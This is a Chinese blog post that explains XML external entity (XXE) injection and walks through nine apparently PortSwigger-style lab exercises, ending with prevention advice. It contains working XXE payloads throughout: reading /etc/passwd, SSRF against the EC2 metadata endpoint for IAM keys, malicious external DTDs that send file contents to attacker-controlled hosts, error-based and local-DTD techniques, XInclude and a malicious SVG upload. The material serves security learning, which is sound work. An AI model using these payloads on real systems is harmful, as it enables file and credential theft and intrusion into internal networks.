XXE初探

一、定义

1. 什么是 XML 外部实体注入?

XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。

在某些情况下,攻击者可以通过利用 XXE 漏洞执行服务器端请求伪造 (SSRF) 攻击,升级 XXE 攻击以破坏底层服务器或其他后端基础结构。

2. 什么是 XML?

XML代表“可扩展标记语言”。XML 是一种设计用于存储和传输数据的语言。与 HTML 一样,XML 使用标记和数据的树状结构。与 HTML 不同,XML 不使用预定义的标记,因此可以为标记指定描述数据的名称。在 Web 历史的早期,XML 作为一种数据传输格式很流行(“AJAX”中的“X”代表“XML”)。但它的受欢迎程度现在已经下降,取而代之的是 JSON 格式。

3. 什么是 XML 实体?

XML 实体是一种表示 XML 文档中数据项的方式,而不是使用数据本身。各种实体都内置在 XML 语言的规范中。例如,实体 &lt&gt 表示字符<>。这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。

4. 什么是文档类型定义?

XML 文档类型定义 (DTD) 包含的声明,这些声明可以定义 XML 文档的结构、它可以包含的数据值类型以及其他项。DTD 在 XML 文档开头的可选元素中声明。DTD 可以完全独立地包含在文档本身中(称为“内部 DTD”),也可以从其他位置加载(称为“外部 DTD”),也可以是两者的混合。DOCTYPE

5. 什么是 XML 自定义实体?

XML 允许在 DTD 中定义自定义实体。例如:

<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>

此定义意味着 XML 文档中实体&myentity;引用的任何用法都将替换为定义的值:“ my entity value”。

6. 什么是 XML 外部实体?

XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 外部。

外部实体的声明使用关键字,并且必须指定应从中加载实体值的 URL。例如:SYSTEM

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>

URL 可以使用该协议,因此可以从文件加载外部实体。例如:file://

<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>

XML 外部实体提供了产生 XML 外部实体攻击的主要手段。

7. 什么是盲目XXE?

当应用程序容易受到 XXE 注入的影响,但未在其响应中返回任何定义的外部实体的值时,就会出现盲目 XXE 漏洞。这意味着无法直接检索服务器端文件,因此盲目 XXE 通常比常规 XXE 漏洞更难利用。

有两种主要方法可以查找和利用盲目的 XXE 漏洞:

  • 您可以触发带外网络交互,有时会泄露交互数据中的敏感数据。
  • 可以触发 XML 分析错误,使错误消息包含敏感数据。

8. XXE漏洞是如何产生的?

某些应用程序使用 XML 格式在浏览器和服务器之间传输数据。执行此操作的应用程序几乎始终使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范包含各种潜在的危险功能,并且标准解析器支持这些功能,即使应用程序通常不使用这些功能。

XML 外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别有趣,因为它们允许根据文件路径或 URL 的内容定义实体。

9. XXE攻击有哪些类型?

XXE 攻击有多种类型:

  • 利用 XXE 检索文件,其中定义了包含文件内容的外部实体,并在应用程序的响应中返回。
  • 利用 XXE 执行 SSRF 攻击,其中基于后端系统的 URL 定义外部实体。
  • 利用盲目 XXE 将数据泄露到带外,其中敏感数据从应用程序服务器传输到攻击者控制的系统。
  • 利用盲目 XXE 通过错误消息检索数据,攻击者可以触发包含敏感数据的解析错误消息。

二、实操及原理

1. 简单的利用漏洞

① 利用 XXE 检索文件

要执行从服务器文件系统中检索任意文件的 XXE 注入攻击,您需要通过两种方式修改提交的 XML:

  • 引入(或编辑)一个元素,该元素定义包含文件路径的外部实体。DOCTYPE
  • 编辑应用程序响应中返回的 XML 中的数据值,以使用定义的外部实体。

例如,假设购物应用程序通过向服务器提交以下 XML 来检查产品的库存水平:

<?xml version="1.0" encoding="UTF-8"?> 
<stockCheck>
    <productId>
        381
    </productId>
</stockCheck>

该应用程序不会对 XXE 攻击执行任何特定的防御措施,因此您可以利用 XXE 漏洞通过提交以下 XXE 有效负载来检索文件:/etc/passwd

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> 
<stockCheck>
    <productId>
        &xxe;
    </productId>
</stockCheck>

此 XXE 有效负载定义一个外部实体,其值是文件的内容,并使用该值中的实体。这会导致应用程序的响应包含文件的内容:&xxe; /etc/passwd productId

Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

对于实际的 XXE 漏洞,提交的 XML 中通常会有大量数据值,其中任何一个值都可能在应用程序的响应中使用。若要系统地测试 XXE 漏洞,通常需要通过使用定义的实体并查看它是否出现在响应中来单独测试 XML 中的每个数据节点。

实验室1:利用外部实体的 XXE 检索文件

本实验具有“检查库存”功能,可分析 XML 输入并返回响应中的任何意外值。

若要解决实验室问题,请注入 XML 外部实体以检索文件的内容。/etc/passwd

首先抓取数据包,发现在进行一个查询的时候,传输的数据是XML格式

然后根据提示,确定要查询的文件,测试插入实体

<!DOCTYPE foo[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

然后在查询id处的地方,调用定义的xxe实体,看能否返回我们查看的文件

可以看到返回查看的文件了,这里注意的是,调用定义的实体时,尽量调用地址&xxe;

这就是简单的无防御措施的XXE注入

② 利用 XXE 进行 SSRF 攻击

除了检索敏感数据外,XXE 攻击的另一个主要影响是它们可用于执行服务器端请求伪造 (SSRF)。这是一个潜在的严重漏洞,其中可以诱导服务器端应用程序对服务器可以访问的任何 URL 发出 HTTP 请求。

若要利用 XXE 漏洞执行 SSRF 攻击,需要使用要面向的 URL 定义外部 XML 实体,并在数据值中使用定义的实体。如果可以在应用程序响应中返回的数据值中使用定义的实体,则将能够查看应用程序响应中 URL 的响应,从而获得与后端系统的双向交互。否则,您将只能执行盲目的 SSRF 攻击(这仍然会产生严重后果)。

在以下 XXE 示例中,外部实体将导致服务器向组织基础结构内的内部系统发出后端 HTTP 请求:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>

实验室2:利用 XXE 执行 SSRF 攻击

本实验具有“检查库存”功能,可分析 XML 输入并返回响应中的任何意外值。

实验室服务器在默认 URL 上运行(模拟)EC2 元数据终端节点,该 URL 为 。此终结点可用于检索有关实例的数据,其中一些数据可能是敏感的。http://169.254.169.254/

要解决实验室问题,请利用 XXE 漏洞执行 SSRF 攻击,从 EC2 元数据终端节点获取服务器的 IAM 秘密访问密钥。

首先还是抓取数据包,发现有xml代码的时候,插入语句,因为这里给出了内部网络的一个网址,所以直接使用即可

<!DOCTYPE foo [<!RNTITY xxe SYSTEM "http://169.254.169.254">]>

然后测试两个功能点哪里能够调用定义的实体xxe,发现第一个可以,发现返回一个目录,因为请求的是内部网络的一个网址,这个目录应该就是网址中的目录。

直接在定义实体的xml语句中,在网址的地方,把这个目录加入到网址的后面,再次请求

发现还是返回一个目录,那么继续进行加上,后面出现目录的话,直接在后面继续拼接即可。最终为

2. 盲目的XXE漏洞

① 使用带外 (OAST) 技术检测盲 XXE

您通常可以使用与 XXE SSRF 攻击相同的技术来检测盲 XXE,但会触发与您控制的系统的带外网络交互。例如,您可以按如下方式定义外部实体:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

然后,您将在 XML 中的数据值中使用定义的实体。

此 XXE 攻击导致服务器向指定 URL 发出后端 HTTP 请求。攻击者可以监视生成的 DNS 查找和 HTTP 请求,从而检测 XXE 攻击是否成功。

实验室3:带外交互的盲 XXE

本实验具有“检查库存”功能,可分析 XML 输入,但不显示结果。

您可以通过触发与外部域的带外交互来检测 盲XXE 漏洞。

若要解决实验室问题,请使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

首先还是抓取数据包分析,发现在进行检测库存的时候,数据包中含有xml代码,首先尝试上面的直接读取是否可以,发现不行,没有返回,猜测可能有数据,但是不会返回到客户端,所以采用带外的方法,插入burp特带的collaboration。构造语句:

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://collaboration的域名"> ]>

然后这里打开collaboration选项,就可以看到带出的数据

有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您可以改用 XML 参数实体。XML 参数实体是一种特殊类型的 XML 实体,只能在 DTD 中的其他位置引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明在实体名称之前包含百分比字符:

<!ENTITY % myparameterentity "my parameter entity value" >

其次,使用百分比字符而不是通常的 & 符号引用参数实体:

%myparameterentity;

这意味着,您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>

此 XXE 有效负载声明一个 XML 参数实体,该实体被调用,然后在 DTD 中使用该实体。这将导致 DNS 查找和对攻击者域的 HTTP 请求,以验证攻击是否成功。xxe

实验室4:通过 XML 参数实体进行带外交互的盲 XXE

本实验室具有“检查库存”功能,该功能可分析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

若要解决实验室问题,请使用参数实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

首先还是抓取数据包,发现在检测库存的数据包中含有xml代码,尝试直接查看文件,是否有返回

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

发现没有返回,那么尝试数据外带,能否可以获取数据,以上面的方式进行

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://collaboration的域名">]>	

发现不行,因为安全原因被拒绝,所以,猜测有防御措施,导致使用常规化的实体被过滤,那就换用%

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "HTTP://collaboration的域名/">%xxe;]>

插入这个语句后,再发送,发现没有再说因为安全的原因,只是提示参数错误,但是,这时的collaboration已经接收到了外带的数据

② 利用盲 XXE 将数据泄露到带外

通过带外技术检测盲 XXE 漏洞非常好,但它实际上并没有展示如何利用该漏洞。攻击者真正想要实现的是泄露敏感数据。这可以通过盲 XXE 漏洞实现,但它涉及攻击者在他们控制的系统上托管恶意 DTD,然后从带内 XXE 有效负载中调用外部 DTD。

用于泄露文件内容的恶意 DTD 示例如下:/etc/passwd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> 
%eval; 
%exfiltrate;

此 DTD 执行以下步骤:

  • 定义一个名为file的 XML 参数实体,其中包含文件/etc/passwd的内容。
  • 定义一个名为eval的 XML 参数实体,其中包含另一个名为exfiltrate的 XML 参数实体的动态声明。将通过向攻击者的 Web 服务器发出 HTTP 请求来评估该实体exfiltrate,该请求包含 URL 查询字符串中实体file的值。
  • 使用实体eval,这会导致执行实体exfiltrate的动态声明。
  • 使用实体exfiltrate,以便通过请求指定的 URL 来计算其值。

然后,攻击者必须将恶意 DTD 托管在他们控制的系统上,通常是将其加载到他们自己的 Web 服务器上。例如,攻击者可能会在以下 URL 上提供恶意 DTD:

http://web-attacker.com/malicious.dtd

最后,攻击者必须向易受攻击的应用程序提交以下 XXE 有效负载:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>

此 XXE 有效负载声明一个 XML 参数实体xxe,该实体被调用,然后在 DTD 中使用该实体。这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并以内联方式解释它。然后执行恶意 DTD 中定义的步骤,并将文件传输到攻击者的服务器。/etc/passwd

注意

此方法可能不适用于某些文件内容,包括文件中包含的换行符。这是因为某些 XML 分析器使用 API 获取外部实体定义中的 URL,该 API 验证允许在 URL 中显示的字符。在这种情况下,可以使用 FTP 协议而不是 HTTP。有时,无法泄露包含换行符的数据,因此可以改为以此类文件为目标。/etc/passwd /etc/hostname

实验室5:利用盲目 XXE 使用恶意外部 DTD 泄露数据

本实验具有“检查库存”功能,可分析 XML 输入,但不显示结果。

若要解决实验室问题,请泄露文件的内容。/etc/hostname

首先还是抓取数据包进行分析,看到有xml代码,尝试发现无回显,尝试外带

<!DOCTYPE foo [<!ENTIY xxe SYSTEM "http://ji59jpcv41ipa9rsn0uyumakabg24usj.oastify.com/">]>

因为安全原因发现不行,那么就再换%试试

构造payload:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ji59jpcv41ipa9rsn0uyumakabg24usj.oastify.com/">%xxe;]>

但是这里看到,获取到的并不是敏感数据,这里需要用到一个外网的服务器,不过实验提供了一个,我们把其中一个文件,修改为下面的代码,用于访问的时候把数据外带

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; ex SYSTEM 'http://er94skdp63qjjpbvpjh3ymuu1s1gheh5nwbyzn.oastify.com/?x=%file;'>">
%eval;
%ex;

然后在含有xxe注入的地方,插入语句,指向这个服务器的地址

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a72005404237bb3811c108d0196004b.exploit-server.net/exploit">%xxe;]>

这时查看collaboration选项,发现接收到了数据

流程:

首先确认目标含有XXE漏洞------>在一个公网服务器上创建一个DTD文件,然后里面的查看文件的语句指向另一个地址,这个地址中有参数用于接收值--------->在目标有XXE漏洞处,构造一个语句,其中有指向公网服务器上的DTD文件,也就采用了外部DTD文件--------->公网服务器接收到请求,然后就会把数据传递给它所指定的地址文件中。

而且这里测试,发现/etc/passwd这类文件是不能被查看的

③ 利用盲 XXE 通过错误消息检索数据

利用盲 XXE 的另一种方法是触发 XML 分析错误,其中错误消息包含要检索的敏感数据。如果应用程序在其响应中返回生成的错误消息,这将有效。

您可以使用恶意外部 DTD 触发包含文件内容的 XML 解析错误消息,如下所示:/etc/passwd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> 
%eval;
%error;

此 DTD 执行以下步骤:

  • 定义一个名为file XML 参数实体,其中包含文件/etc/passwd的内容。
  • 定义一个名为eval的 XML 参数实体,其中包含另一个名为error的 XML 参数实体的动态声明。将通过加载一个不存在的文件来计算该实体,该文件的名称包含该实体的值。error file
  • 使用实体eval,这会导致执行实体error的动态声明。
  • 使用实体error,以便通过尝试加载不存在的文件来计算其值,从而导致一条错误消息,其中包含不存在的文件的名称,即文件/etc/passwd的内容。

调用恶意外部 DTD 将导致如下错误消息:

java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

实验室6:利用盲 XXE 通过错误消息检索数据

本实验具有“检查库存”功能,可分析 XML 输入,但不显示结果。

若要解决实验问题,请使用外部 DTD 触发显示文件内容的错误消息。/etc/passwd

该实验室包含指向其他域上的漏洞利用服务器的链接,你可以在该域中托管恶意 DTD。

首先还是抓取数据包进行分析,然后直接测试,但是没有返回显示,所以尝试外带,而要获取敏感信息,就需要一台公网服务器,创建一个DTD文件,使得目标访问我们服务器上的文件,然后构成敏感信息获得。首先测试,构造

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "file:///etc/passwd">%xxe;]>

发现报错,不能直接检索文件,那么尝试外带呢,直接在公网上构造获取文件的DTD文件,在服务器上构造

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; ex SYSTEM 'http://nridstlzd5rtjd0ww4323qjojfp6d91y.oastify.com/?x=%file;'>">
%eval;
%ex;

在可能有xxe的地方构造:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa900a6031ffc07814d33f001bc00bd.exploit-server.net/exploit/">%xxe;]>

可以接收的到,但是很明显的看到,按照之前的方法,给出的文件内容并不完全。

再次观察,发现这里报错的时候,含有我们构造在公网上的DTD文件中的x参数,并且x有值,与collaboration接收到的一样,所以这里猜测,报错了,但是会依然把执行的内容显示出来

这里直接在公网服务器的DTD文件中修改,之际指向一个不存在的文件,但是执行查看/etc/passwd的操作

构造:invalid指的是不存在的文件,后面跟着的%file,也就是在报错时,包含这个操作并执行

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; ex SYSTEM 'file:///invalid/%file;'>">
%eval;
%ex;

在可能含有xxe漏洞的地方插入语句,调用公网服务器中的DTD文件

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0aa900a6031ffc07814d33f001bc00bd.exploit-server.net/exploit"> %xxe;]>

发送数据包后,得到报错的回应:

③ 通过重新利用本地 DTD 来利用盲目 XXE

上述技术适用于外部 DTD,但通常不适用于元素中完全指定的内部 DTD。这是因为该技术涉及在另一个参数实体的定义中使用 XML 参数实体。根据 XML 规范,这在外部 DTD 中是允许的,但在内部 DTD 中是不允许的。 (某些解析器可能允许它,但许多分析器不容忍。DOCTYPE

那么,当带外交互被阻止时,盲目的XXE漏洞呢?您无法通过带外连接泄露数据,也无法从远程服务器加载外部 DTD。

在这种情况下,由于 XML 语言规范中的漏洞,仍可能触发包含敏感数据的错误消息。如果文档的 DTD 混合使用内部和外部 DTD 声明,则内部 DTD 可以重新定义在外部 DTD 中声明的实体。发生这种情况时,将放宽在另一个参数实体的定义中使用 XML 参数实体的限制。

这意味着攻击者可以从内部 DTD 中使用基于错误的 XXE 技术,前提是他们使用的 XML 参数实体正在重新定义在外部 DTD 中声明的实体。当然,如果带外连接被阻止,则无法从远程位置加载外部 DTD。相反,它必须是应用程序服务器本地的外部 DTD 文件。从本质上讲,该攻击涉及调用恰好存在于本地文件系统上的 DTD 文件,并重新利用它以触发包含敏感数据的解析错误的方式重新定义现有实体。这项技术是由Arseniy Sharoglazov首创的,并在我们的2018年十大网络黑客技术中排名#7。

例如,假设服务器文件系统上的位置有一个 DTD 文件,并且此 DTD 文件定义了一个名为 的实体。攻击者可以通过提交如下所示的混合 DTD 来触发包含文件内容的 XML 分析错误消息:/usr/local/app/schema.dtd``custom_entity``/etc/passwd

<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd"> <!ENTITY % custom_entity ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>

此 DTD 执行以下步骤:

  • 定义一个名为 的 XML 参数实体,该实体包含服务器文件系统上存在的外部 DTD 文件的内容。local_dtd
  • 重新定义已在外部 DTD 文件中定义的 XML 参数实体,该实体已在外部 DTD 文件中定义。该实体被重新定义为包含已描述的基于错误的 XXE 漏洞,用于触发包含文件内容的错误消息。custom_entity``/etc/passwd
  • 使用实体,以便解释外部 DTD,包括实体的重新定义值。这会导致所需的错误消息。local_dtd``custom_entity

查找现有 DTD 文件以重新调整用途

由于此 XXE 攻击涉及重新利用服务器文件系统上的现有 DTD,因此关键要求是找到合适的文件。这实际上很简单。由于应用程序返回 XML 分析器引发的任何错误消息,因此只需尝试从内部 DTD 中加载本地 DTD 文件即可轻松枚举它们。

例如,使用 GNOME 桌面环境的 Linux 系统通常有一个位于 的 DTD 文件。您可以通过提交以下 XXE 有效负载来测试此文件是否存在,如果缺少文件,则会导致错误:/usr/share/yelp/dtd/docbookx.dtd

<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> %local_dtd; ]>

在测试了常见 DTD 文件的列表以查找存在的文件后,您需要获取该文件的副本并查看它以查找可以重新定义的实体。由于许多包含 DTD 文件的常见系统都是开源的,因此您通常可以通过 Internet 搜索快速获取文件的副本。

实验室7:利用 XXE 通过重新调整本地 DTD 的用途来检索数据

本实验具有“检查库存”功能,可分析 XML 输入,但不显示结果。

若要解决实验问题,请触发包含文件内容的错误消息。/etc/passwd

您需要引用服务器上的现有 DTD 文件,并从中重新定义实体。

提示

使用 GNOME 桌面环境的系统通常有一个 DTD/usr/share/yelp/dtd/docbookx.dtd,其中包含一个名为 ISOamso

构造,这里的/usr/share/yelp/dtd/docbookx.dtd是通常含有的,其中包含了一个实体ISOamso,所以,刚开始引用这个内部的DTD,然后定义实体ISOamso这个实体里面包含再定义的fileeval,而eval中又包含error,然后在ISOamso中通过eval中的error报错,报错中包含file,到此完成。

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

至此完成

3. 查找 XXE 注入的隐藏攻击面

在许多情况下,XXE 注入漏洞的攻击面是显而易见的,因为应用程序的正常 HTTP 流量包括包含 XML 格式数据的请求。在其他情况下,攻击面不太明显。但是,如果查找正确的位置,则会在不包含任何 XML 的请求中找到 XXE 攻击面。

① XInclude 攻击

某些应用程序接收客户端提交的数据,将其嵌入到服务器端的 XML 文档中,然后分析该文档。例如,当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理该请求时。

在这种情况下,您不能执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素。但是,您可以改用XIncludeXInclude是 XML 规范的一部分,它允许从子文档生成 XML 文档。可以在 XML 文档中的任何数据值中放置攻击,因此,在仅控制放置在服务器端 XML 文档中的单个数据项的情况下,可以执行XInclude攻击。DOCTYPE

要执行XInclude攻击,您需要引用命名空间并提供要包含的文件的路径。例如:XInclude

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> 
<xi:include parse="text" href="file:///etc/passwd"/></foo>

实验室8:利用 XInclude 检索文件

本实验具有“检查库存”功能,可将用户输入嵌入到随后分析的服务器端 XML 文档中。

由于您无法控制整个 XML 文档,因此无法定义 DTD 来发起经典的 XXE 攻击。

若要求解实验,请注入XInclude语句以检索文件/etc/passwd的内容。

首先打开检查库存的界面并抓取数据包,但是发现,这里并没有xml语句,所以这里经典的xxe可能使用不了,尝试xinclude攻击

首先构造语句,从w3网址引用xinclude,然后定义输出,以及地址

<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

这里注意,因为是在数据包中修改,所以最好是进行URL编码,这样不会导致数据包出错

%3Cfoo+xmlns%3Axi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXInclude%22%3E%3Cxi%3Ainclude+parse%3D%22text%22+href%3D%22file%3A%2F%2F%2Fetc%2Fpasswd%22%2F%3E%3C%2Ffoo%3E

② 通过文件上传的 XXE 攻击

某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。

例如,应用程序可能允许用户上传图像,并在上传图像后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而到达XXE漏洞的隐藏攻击面。

实验室9:通过图像文件上传利用 XXE

本实验允许用户将头像附加到评论中,并使用 Apache Batik 库处理头像图像文件。

要解决实验室问题,请上传一个图像,该图像在处理后显示文件的内容。然后使用“提交解决方案”按钮提交服务器主机名的值。/etc/hostname

首先构造,通过w3网址中的svg,然后创建一个svg格式的图片,把下面内容加到图片中

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-size="16" x="0" y="16">
        &xxe;
    </text>
</svg>

然后返回到博客界面,可以看到头像上传成功,并且头像的图片就是hostname

③ 通过修改的内容类型进行 XXE 攻击

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如 .某些网站希望接收这种格式的请求,但可以容忍其他内容类型,包括 XML。application/x-www-form-urlencoded

例如,如果普通请求包含以下内容:

POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

然后,您可以提交以下请求,结果相同:

POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序允许在邮件正文中包含 XML 的请求,并将正文内容解析为 XML,则只需重新格式化请求以使用 XML 格式,即可到达隐藏的 XXE 攻击面。

4. 如何查找和测试 XXE 漏洞

使用 Burp Suite 的 Web 漏洞扫描器可以快速可靠地发现绝大多数 XXE 漏洞。

手动测试 XXE 漏洞通常涉及:

  • 通过定义基于已知操作系统文件的外部实体并在应用程序响应中返回的数据中使用该实体来测试文件检索
  • 通过根据您控制的系统的 URL 定义外部实体并监视与该系统的交互来测试盲目的 XXE 漏洞Burp Collaborator 非常适合此目的。
  • 通过使用 XInclude 攻击尝试检索已知操作系统文件,测试服务器端 XML 文档中是否包含用户提供的非 XML 数据的易受攻击。

注意

请记住,XML 只是一种数据传输格式。请确保还测试任何基于 XML 的功能是否存在其他漏洞,例如 XSS 和 SQL 注入。您可能需要使用 XML 转义序列对有效负载进行编码,以避免破坏语法,但您也可以使用它来混淆您的攻击,以绕过薄弱的防御。

5. 如何防止 XXE 漏洞

几乎所有 XXE 漏洞的出现都是因为应用程序的 XML 解析库支持应用程序不需要或不打算使用的潜在危险 XML 功能。防止 XXE 攻击的最简单、最有效的方法是禁用这些功能。

通常,禁用外部实体的解析并禁用对 的支持就足够了。这通常可以通过配置选项或以编程方式覆盖默认行为来完成。有关如何禁用不必要的功能的详细信息,请参阅 XML 分析库或 API 的文档。XInclude

阅读更多

posted @   whitehe  阅读(15)  评论(0编辑  收藏  举报  
相关博文:
阅读排行:
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 提示词工程——AI应用必不可少的技术
· 地球OL攻略 —— 某应届生求职总结
· 字符编码:从基础到乱码解决
· SpringCloud带你走进微服务的世界
点击右上角即可分享
微信分享提示